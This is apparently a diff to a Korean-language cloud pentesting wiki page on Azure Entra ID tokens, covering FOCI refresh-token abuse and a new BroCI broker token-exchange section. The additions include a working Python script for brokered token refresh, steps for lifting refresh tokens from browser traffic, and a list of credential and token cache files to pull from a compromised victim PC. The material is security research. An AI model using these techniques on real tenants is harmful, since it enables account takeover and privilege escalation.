diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index 69b3141f6..a98323582 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -1,101 +1,100 @@
-# Az - 토큰 및 공개 애플리케이션
+# Az - Tokens & Public Applications
{{#include ../../../banners/hacktricks-training.md}}
-## 기본 정보
+## Basic Information
-Entra ID는 Microsoft의 클라우드 기반 identity and access management(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스의 기본 인증(authentication) 및 권한 부여(authorization) 시스템 역할을 합니다. Azure AD는 리소스 액세스 관리를 위해 OAuth 2.0 authorization framework와 OpenID Connect (OIDC) authentication protocol을 구현합니다.
+Entra ID는 Microsoft의 클라우드 기반 신원 및 접근 관리(ID and Access Management, IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스에 대한 기본 인증 및 권한 부여 시스템 역할을 합니다. Azure AD는 리소스 접근 관리를 위해 OAuth 2.0 권한 부여 프레임워크와 OpenID Connect (OIDC) 인증 프로토콜을 구현합니다.
### OAuth
**OAuth 2.0의 주요 참여자:**
-1. **Resource Server (RS):** Resource Owner가 소유한 리소스를 보호합니다.
-2. **Resource Owner (RO):** 일반적으로 보호된 리소스를 소유한 최종 사용자입니다.
-3. **Client Application (CA):** Resource Owner를 대신하여 리소스에 접근하려는 애플리케이션입니다.
-4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 access token을 발급합니다.
+1. **Resource Server (RS):** 리소스 소유자가 소유한 리소스를 보호합니다.
+2. **Resource Owner (RO):** 일반적으로 보호된 리소스의 소유자인 최종 사용자입니다.
+3. **Client Application (CA):** 리소스 소유자를 대신하여 리소스에 접근하려는 애플리케이션입니다.
+4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 접근 토큰을 발급합니다.
**Scopes 및 Consent:**
-- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로, 액세스 수준을 지정합니다.
-- **Consent:** Resource Owner가 특정 scopes로 애플리케이션에 리소스 접근 권한을 부여하는 과정입니다.
+- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로 접근 수준을 지정합니다.
+- **Consent:** 리소스 소유자가 특정 scopes로 클라이언트 애플리케이션의 리소스 접근을 허용하는 과정입니다.
**Microsoft 365 통합:**
-- Microsoft 365는 IAM으로 Azure AD를 사용하며 여러 개의 "first-party" OAuth 애플리케이션들로 구성됩니다.
-- 이러한 애플리케이션들은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다.
-- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션들에 대해 "implied consent" 또는 "pre-consent"를 부여합니다.
-- **Implied Consent:** 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 접근이 자동으로 **허용**됩니다.
-- 이러한 사전 동의된 scopes는 일반적인 관리 인터페이스에서는 숨겨져 있어 사용자와 관리자에게 덜 가시적입니다.
+- Microsoft 365는 IAM을 위해 Azure AD를 사용하며 여러 "first-party" OAuth 애플리케이션으로 구성됩니다.
+- 이러한 애플리케이션은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다.
+- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션에 대해 "implied consent" 또는 "pre-consent"를 부여합니다.
+- **Implied Consent:** 일부 애플리케이션은 **명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 액세스가 자동으로 부여됩니다**.
+- 이러한 사전 동의된 scopes는 일반적으로 사용자와 관리자 모두에게 숨겨져 있어 표준 관리 인터페이스에서 잘 보이지 않습니다.
**클라이언트 애플리케이션 유형:**
-1. **Confidential Clients:**
-- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다.
-- Authorization Server에 대해 **안전하게 스스로 인증할 수 있습니다.**
-2. **Public Clients:**
-- 고유한 자격증명이 없습니다.
-- Authorization Server에 대해 안전하게 인증할 수 없습니다.
-- **보안 영향:** Authorization Server가 애플리케이션의 정당성을 검증할 수 있는 메커니즘이 없기 때문에 공격자는 토큰을 요청할 때 public client 애플리케이션을 가장할 수 있습니다.
+1. **Confidential Clients:**
+- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다.
+- Authorization Server에 대해 **자체를 안전하게 인증할 수 있습니다**.
+2. **Public Clients:**
+- 고유 자격증명을 보유하지 않습니다.
+- Authorization Server에 대해 안전하게 인증할 수 없습니다.
+- **보안적 의미:** Authorization Server가 애플리케이션의 정당성을 확인할 수 있는 메커니즘이 없으므로 공격자가 토큰 요청 시 public client 애플리케이션을 가장할 수 있습니다.
-## 인증 토큰
+## Authentication Tokens
-OIDC에서 사용되는 토큰 유형은 세 가지입니다:
+OIDC에서 사용되는 **세 가지 토큰 유형**이 있습니다:
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트가 리소스에 접근하기 위해 리소스 서버에 제시하는 토큰입니다. 특정 사용자, 클라이언트 및 리소스의 조합에만 사용할 수 있으며 기본적으로 만료될 때까지(기본값 1시간) 취소(revoke)할 수 없습니다.
-- **ID Tokens:** 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자와 클라이언트의 조합에 바인딩됩니다.
-- **Refresh Tokens:** 클라이언트에게 access token과 함께 제공됩니다. 새로운 access 및 ID 토큰을 얻는 데 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 기본 만료 기간은 비활성 refresh token의 경우 **90일**이며, 활성 토큰의 경우 **만료 없음**(refresh token으로부터 새로운 refresh token을 얻을 수 있음).
-
-- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연결되어야 하며, 해당 aud와 scopes(및 그 이상은 아님) 및 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우 이는 적용되지 않습니다.
-- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다.
+- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트는 이 토큰을 리소스 서버에 제시하여 **리소스에 접근**합니다. 특정 사용자, 클라이언트 및 리소스의 조합에 대해서만 사용 가능하며 만료될 때까지 **취소(revoke)**할 수 없습니다 — 기본 만료 시간은 1시간입니다.
+- **ID Tokens**: 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자 및 클라이언트의 조합에 **바인딩(bound)** 됩니다.
+- **Refresh Tokens**: 접근 토큰과 함께 클라이언트에 제공되며, **새로운 access 및 ID 토큰을 얻기 위해** 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 비활성 refresh token의 기본 만료 기간은 **90일**이며, 활성 토큰의 경우 **만료가 없음**(refresh token에서 새로운 refresh token을 얻는 것이 가능)입니다.
+- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연동되어야 하며 해당 aud와 scopes(및 그 이상이 아닌)와 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우에는 그렇지 않습니다.
+- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다.
- 새로운 refresh token을 얻는다고 해서 이전 refresh token이 취소되지는 않습니다.
> [!WARNING]
-> conditional access에 대한 정보는 **JWT 내부에 저장**됩니다. 따라서 허용된 IP 주소에서 토큰을 요청하면 해당 **IP가 토큰에 저장**되고, 이후 그 토큰을 비허용 IP에서 사용하여 리소스에 접근할 수 있습니다.
+> **conditional access**에 대한 정보는 **JWT** 내부에 **저장**됩니다. 따라서 **허용된 IP 주소에서 토큰을 요청**하면 해당 **IP**가 토큰에 **저장**되고, 이후 해당 토큰을 사용해 **허용되지 않은 IP에서도 리소스에 접근**할 수 있습니다.
### Access Tokens "aud"
-"aud" 필드에 표시된 값은 로그인을 수행하는 데 사용된 **resource server(애플리케이션)** 입니다.
+"aud" 필드에 표시된 항목은 로그인 수행에 사용된 **리소스 서버**(애플리케이션)입니다.
-명령어 `az account get-access-token --resource-type [...]`는 다음 타입들을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다:
+명령 `az account get-access-token --resource-type [...]`는 다음 타입을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다:
> [!CAUTION]
-> 다음은 `az account get-access-token`에서 지원하는 API의 예시일 뿐이며, 더 많은 API가 존재합니다.
+> 다음은 `az account get-access-token`에서 지원하는 API들일 뿐이며 더 많은 API가 존재합니다.
aud examples
-- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(deprecated)에 접근하는 데 사용됩니다. 애플리케이션이 Azure Active Directory(Azure AD)의 디렉터리 데이터를 읽고 쓸 수 있게 합니다.
+- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(더 이상 권장되지 않음)에 접근하는 데 사용되며, 애플리케이션이 Azure Active Directory의 디렉터리 데이터를 읽고 쓸 수 있게 합니다.
- `https://graph.windows.net/`
-* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다.
+* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등과 같은 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다.
- `https://management.core.windows.net/ or https://management.azure.com/`
-- **batch (Azure Batch Services)**: 대규모 병렬 및 고성능 컴퓨팅 애플리케이션을 효율적으로 클라우드에서 실행할 수 있게 하는 Azure Batch에 접근하는 데 사용됩니다.
+- **batch (Azure Batch Services)**: 병렬 대규모 및 고성능 컴퓨팅 애플리케이션을 클라우드에서 효율적으로 실행할 수 있게 해주는 Azure Batch에 접근하는 데 사용됩니다.
- `https://batch.core.windows.net/`
-* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다. 이는 확장 가능한 데이터 저장 및 분석 서비스입니다.
+* **data-lake (Azure Data Lake Storage)**: 확장 가능한 데이터 저장 및 분석 서비스인 Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다.
- `https://datalake.azure.net/`
-- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대해 클라우드 기반 미디어 처리 및 전송 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다.
+- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대한 클라우드 기반 미디어 처리 및 제공 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다.
- `https://rest.media.azure.net`
-* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터를 위한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility, Security 서비스 등에서 데이터와 인사이트에 접근할 수 있습니다.
+* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터에 대한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility 및 보안 서비스와 같은 서비스의 데이터와 인사이트에 접근할 수 있습니다.
- `https://graph.microsoft.com`
-- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다.
+- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다.
- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp"
-access token의 scope은 access token JWT 내부의 scp 키에 저장됩니다. 이러한 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다.
+access token의 scope는 access token JWT 내부의 scp 키에 저장됩니다. 이들 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다.
-JWT가 특정 API에 연락할 수 있도록 허용되어 있지만 요청된 작업을 수행할 scope가 없다면, 해당 JWT로는 그 작업을 수행할 수 없습니다.
+JWT가 특정 API에 연락하는 것이 허용되더라도 요청된 동작을 수행할 수 있는 **scope가 없다면**, 해당 JWT로는 그 동작을 **수행할 수 없습니다**.
-### Refresh 및 Access 토큰 예제
+### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -149,28 +148,28 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
- **appid**: 토큰을 생성하는 데 사용된 Application ID
- **appidacr**: Application Authentication Context Class Reference는 클라이언트가 어떻게 인증되었는지를 나타냅니다. public client의 경우 값은 0이고, client secret이 사용된 경우 값은 1입니다.
-- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요구사항을 충족하지 못한 경우 "0"입니다.
+- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요건을 충족하지 못했을 때 "0"입니다.
- **amr**: Authentication method는 토큰이 어떻게 인증되었는지를 나타냅니다. 값이 “pwd”이면 비밀번호가 사용되었음을 의미합니다.
-- **groups**: 주체(principal)가 속한 그룹을 나타냅니다.
-- **iss**: issues는 토큰을 생성한 보안 토큰 서비스(security token service, STS)를 식별합니다. 예: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
-- **oid**: 주체(principal)의 object ID
+- **groups**: principal이 소속된 그룹을 나타냅니다.
+- **iss**: iss는 토큰을 생성한 security token service(STS)를 식별합니다. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
+- **oid**: principal의 object ID
- **tid**: Tenant ID
-- **iat, nbf, exp**: Issued at(발급 시), Not before(이 시간 이전에는 사용할 수 없음 — 보통 iat와 동일한 값), Expiration time(만료 시각).
+- **iat, nbf, exp**: 발급 시간(iat), Not before(이 시간 이전에는 사용할 수 없음, 보통 iat와 동일), 만료 시간(exp).
-## FOCI Tokens 권한 상승
+## FOCI Tokens Privilege Escalation
-이전에는 refresh tokens가 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 한다고 언급했습니다. 이러한 경계 중 어느 하나라도 깨지면, 사용자가 액세스할 수 있는 다른 리소스 및 tenant에 대해 원래 의도보다 더 많은 scopes를 가진 access tokens를 생성할 수 있게 되어 권한 상승이 발생할 수 있습니다.
+앞서 언급했듯이 refresh tokens는 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 합니다. 이러한 경계 중 어느 하나라도 무너진다면 사용자가 접근할 수 있는 다른 리소스와 테넌트에 대해 원래 의도보다 더 많은 scope를 가진 access token을 생성할 수 있게 되어 privilege escalation이 발생할 수 있습니다.
-또한, [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)의 모든 refresh tokens에 대해 **이것이 가능**합니다( Microsoft Entra accounts, Microsoft personal accounts, 그리고 Facebook 및 Google과 같은 social accounts 포함). [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)에서는 다음과 같이 언급합니다: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
+더욱이, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
-또한 FOCI applications는 public applications이므로 서버에 인증할 때 **no secret is needed** 합니다.
+또한, FOCI applications는 public applications이므로 서버에 인증하기 위해 **no secret is needed**합니다.
-보고된 알려진 FOCI clients는 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에 보고되어 있으며, [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다.
+그렇다면 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에서 보고된 알려진 FOCI clients는 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다.
-### 다른 scope 요청하기
+### 다른 scope 얻기
-이전 예제 코드와 이어서, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다:
+이전 예제 코드를 이어, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -203,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
+## NAA / BroCI (Nested App Authentication / Broker Client Injection)
+
+A BroCI refresh tokens는 기존 refresh token을 추가 브로커 파라미터와 함께 사용하여 다른 신뢰된 first-party 앱으로서 토큰을 요청하는 브로커드 토큰 교환 패턴이다.
+
+이러한 refresh tokens는 해당 브로커 컨텍스트에서 발급되어야 하며(일반적인 refresh token은 보통 BroCI refresh token으로 사용할 수 없다).
+
+### Goal and purpose
+
+BroCI의 목적은 broker-capable 앱 체인에서 유효한 사용자 세션을 재사용하고 다른 신뢰된 앱/리소스 쌍에 대한 토큰을 요청하는 것이다. 따라서 원래 토큰에서 권한을 상승시키는 것이 가능해진다.
+
+공격 관점에서, 이는 중요하다. 왜냐하면:
+
+- 표준 refresh 교환으로 접근할 수 없는 사전 동의된 first-party 앱 경로를 열 수 있다.
+- 넓은 delegated 권한을 가진 앱 아이덴티티로 하여금 고가치 API(예: Microsoft Graph)에 대한 access tokens를 반환할 수 있다.
+- 고전적인 FOCI client switching을 넘어선 인증 후(post-authentication) 토큰 피벗 기회를 확장한다.
+
+NAA/BroCI refresh token에서 변경되는 것은 토큰의 가시적 형식이 아니라, 브로커된 리프레시 동작 동안 Microsoft가 검증하는 **issuance context**와 브로커 관련 메타데이터이다.
+
+NAA/BroCI 토큰 교환은 일반적인 OAuth refresh 교환과 **같지 않다**.
+
+- 일반적인 refresh token(예: device code flow를 통해 얻은)은 보통 표준 `grant_type=refresh_token` 작업에 대해 유효하다.
+- BroCI 요청은 추가 브로커 컨텍스트(`brk_client_id`, 브로커 `redirect_uri`, 및 `origin`)를 포함한다.
+- Microsoft는 제시된 refresh token이 일치하는 브로커드 컨텍스트에서 발급되었는지 검증한다.
+- 따라서 많은 "정상" refresh token은 BroCI 요청에서 `AADSTS900054`("Specified Broker Client ID does not match ID in provided grant")와 같은 오류로 실패한다.
+- 일반적으로 정상적인 refresh token을 코드로 BroCI 유효한 토큰으로 "변환"할 수 없다.
+- 호환 가능한 brokered flow에서 이미 발급된 refresh token이 필요하다.
+
+Check the web **** to find BroCI configured apps an the trust relationships they have.
+
+
+### Mental model
+
+BroCI를 다음과 같이 생각하라:
+
+`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
+
+그 브로커 체인의 어느 부분이라도 일치하지 않으면, 교환은 실패한다.
+
+### Where to find a BroCI-valid refresh token
+
+실용적인 방법 하나는 브라우저 포털 트래픽 수집이다:
+
+1. Sign in to `https://entra.microsoft.com` (or Azure portal).
+2. Open DevTools -> Network.
+3. Filter for:
+- `oauth2/v2.0/token`
+- `management.core.windows.net`
+4. Identify the brokered token response and copy `refresh_token`.
+5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
+
+### Common errors
+
+- `AADSTS900054`: refresh token 컨텍스트가 제공된 브로커 튜플 (`brk_client_id` / `redirect_uri` / `origin`)과 일치하지 않거나 토큰이 브로커드 포털 흐름에서 온 것이 아니다.
+- `AADSTS7000218`: 선택된 클라이언트 흐름이 confidential credential (`client_secret`/assertion)을 기대한다. 이는 종종 device code를 non-public client와 함께 시도할 때 관찰된다.
+
+
+Python BroCI refresh helper (broci_auth.py)
+```python
+#!/usr/bin/env python3
+"""
+Python implementation of EntraTokenAid Broci refresh flow.
+
+Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
+- brk_client_id
+- redirect_uri
+- Origin header
+
+Usage:
+python3 broci_auth.py --refresh-token ""
+
+How to obtain a Broci-valid refresh token (authorized testing only):
+1) Open https://entra.microsoft.com and sign in.
+2) Open browser DevTools -> Network.
+3) Filter requests for:
+- "oauth2/v2.0/token"
+- "management.core.windows.net"
+4) Locate the portal broker token response and copy the "refresh_token" value
+(the flow should be tied to https://management.core.windows.net//).
+5) Use that token with this script and Broci params:
+
+python3 broci_auth.py \
+--refresh-token "" \
+--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
+--tenant "organizations" \
+--api "graph.microsoft.com" \
+--scope ".default offline_access" \
+--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
+--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
+--origin "https://entra.microsoft.com" \
+--token-out
+"""
+
+import argparse
+import base64
+import datetime as dt
+import json
+import re
+import sys
+import urllib.error
+import urllib.parse
+import urllib.request
+from typing import Any
+
+
+GUID_RE = re.compile(
+r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
+)
+OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
+
+
+def resolve_api_scope_url(api: str, scope: str) -> str:
+"""
+Match Resolve-ApiScopeUrl behavior from the PowerShell module.
+"""
+if GUID_RE.match(api):
+base_resource = api
+elif api.lower().startswith("urn:") or "://" in api:
+base_resource = api
+else:
+base_resource = f"https://{api}"
+
+base_resource = base_resource.rstrip("/")
+
+resolved: list[str] = []
+for token in scope.split():
+if not token.strip():
+continue
+if "://" in token:
+resolved.append(token)
+elif token.lower().startswith("urn:"):
+resolved.append(token)
+elif token in OIDC_SCOPES:
+resolved.append(token)
+elif GUID_RE.match(token):
+resolved.append(f"{token}/.default")
+else:
+normalized = ".default" if token in {"default", ".default"} else token
+resolved.append(f"{base_resource}/{normalized}")
+
+return " ".join(resolved)
+
+
+def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
+parts = jwt_token.split(".")
+if len(parts) != 3:
+raise ValueError("Invalid JWT format.")
+payload = parts[1]
+padding = "=" * ((4 - len(payload) % 4) % 4)
+decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
+return json.loads(decoded.decode("utf-8"))
+
+
+def refresh_broci_token(
+refresh_token: str,
+client_id: str,
+scope: str,
+api: str,
+tenant: str,
+user_agent: str,
+origin: str | None,
+brk_client_id: str | None,
+redirect_uri: str | None,
+disable_cae: bool,
+) -> dict[str, Any]:
+api_scope_url = resolve_api_scope_url(api=api, scope=scope)
+
+headers = {
+"User-Agent": user_agent,
+"X-Client-Sku": "MSAL.Python",
+"X-Client-Ver": "1.31.0",
+"X-Client-Os": "win32",
+"Content-Type": "application/x-www-form-urlencoded",
+}
+if origin:
+headers["Origin"] = origin
+
+body: dict[str, str] = {
+"grant_type": "refresh_token",
+"client_id": client_id,
+"scope": api_scope_url,
+"refresh_token": refresh_token,
+}
+if not disable_cae:
+body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
+if brk_client_id:
+body["brk_client_id"] = brk_client_id
+if redirect_uri:
+body["redirect_uri"] = redirect_uri
+
+data = urllib.parse.urlencode(body).encode("utf-8")
+token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
+req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
+
+try:
+with urllib.request.urlopen(req) as resp:
+raw = resp.read().decode("utf-8")
+except urllib.error.HTTPError as e:
+err_raw = e.read().decode("utf-8", errors="replace")
+try:
+err_json = json.loads(err_raw)
+short = err_json.get("error", "unknown_error")
+desc = err_json.get("error_description", err_raw)
+raise RuntimeError(f"{short}: {desc}") from None
+except json.JSONDecodeError:
+raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
+
+tokens = json.loads(raw)
+if "access_token" not in tokens:
+raise RuntimeError("Token endpoint response did not include access_token.")
+return tokens
+
+
+def main() -> int:
+parser = argparse.ArgumentParser(
+description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
+)
+parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
+parser.add_argument(
+"--client-id",
+default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
+help="Client ID (default: Azure CLI).",
+)
+parser.add_argument(
+"--scope",
+default=".default offline_access",
+help="Scopes (default: '.default offline_access').",
+)
+parser.add_argument(
+"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
+)
+parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
+parser.add_argument(
+"--user-agent",
+default="python-requests/2.32.3",
+help="User-Agent sent to token endpoint.",
+)
+parser.add_argument("--origin", default=None, help="Optional Origin header.")
+parser.add_argument(
+"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
+)
+parser.add_argument(
+"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
+)
+parser.add_argument(
+"--disable-cae",
+action="store_true",
+help="Disable CAE claims in token request.",
+)
+parser.add_argument(
+"--token-out",
+action="store_true",
+help="Print access/refresh tokens in output.",
+)
+parser.add_argument(
+"--disable-jwt-parsing",
+action="store_true",
+help="Do not parse JWT claims.",
+)
+
+args = parser.parse_args()
+
+print("[*] Sending request to token endpoint")
+try:
+tokens = refresh_broci_token(
+refresh_token=args.refresh_token,
+client_id=args.client_id,
+scope=args.scope,
+api=args.api,
+tenant=args.tenant,
+user_agent=args.user_agent,
+origin=args.origin,
+brk_client_id=args.brk_client_id,
+redirect_uri=args.redirect_uri,
+disable_cae=args.disable_cae,
+)
+except Exception as e:
+print(f"[!] Error: {e}", file=sys.stderr)
+return 1
+
+expires_in = int(tokens.get("expires_in", 0))
+expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
+tokens["expiration_time"] = expiration_time
+
+print(
+"[+] Got an access token and a refresh token"
+if tokens.get("refresh_token")
+else "[+] Got an access token (no refresh token requested)"
+)
+
+if not args.disable_jwt_parsing:
+try:
+jwt_payload = parse_jwt_payload(tokens["access_token"])
+audience = jwt_payload.get("aud", "")
+print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
+tokens["scp"] = jwt_payload.get("scp")
+tokens["tenant"] = jwt_payload.get("tid")
+tokens["user"] = jwt_payload.get("upn")
+tokens["client_app"] = jwt_payload.get("app_displayname")
+tokens["client_app_id"] = args.client_id
+tokens["auth_methods"] = jwt_payload.get("amr")
+tokens["ip"] = jwt_payload.get("ipaddr")
+tokens["audience"] = audience
+if isinstance(audience, str):
+tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
+if "xms_cc" in jwt_payload:
+tokens["xms_cc"] = jwt_payload.get("xms_cc")
+except Exception as e:
+print(f"[!] JWT parse error: {e}", file=sys.stderr)
+return 1
+else:
+print(f"[i] Expires at: {expiration_time}")
+
+if args.token_out:
+print("\nAccess Token:")
+print(tokens.get("access_token", ""))
+if tokens.get("refresh_token"):
+print("\nRefresh Token:")
+print(tokens["refresh_token"])
+
+print("\nToken object (JSON):")
+print(json.dumps(tokens, indent=2))
+return 0
+
+
+if __name__ == "__main__":
+raise SystemExit(main())
+```
+
+
## 토큰을 찾을 수 있는 위치
-공격자 관점에서, 예를 들어 피해자 PC가 침해되었을 경우 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 중요합니다:
+공격자 관점에서, 예를 들어 피해자의 PC가 침해되었을 때 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 흥미롭다:
-- **`/.Azure`** 안
-- **`azureProfile.json`**에는 과거에 로그인한 사용자에 대한 정보가 포함되어 있습니다
-- **`clouds.config contains`**는 구독에 대한 정보를 포함합니다
-- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 들어 있습니다. Linux 및 macOS에서만
-- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 들어 있습니다. Linux 및 macOS에서만
-- **`service_principal_entries.bin`**과 msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화되어 있습니다
-- **`msal_http_cache.bin`**은 HTTP 요청 캐시입니다
+- **`/.Azure`** 내부
+- **`azureProfile.json`**에는 과거에 로그인한 사용자 정보가 포함되어 있다
+- **`clouds.config contains`** 구독 정보
+- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 포함되어 있다. Linux & macOS에서만
+- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 포함되어 있다. Linux & macOS에서만
+- **`service_principal_entries.bin`** 및 msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화된다
+- **`msal_http_cache.bin`**은 HTTP 요청 캐시이다
- 로드: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
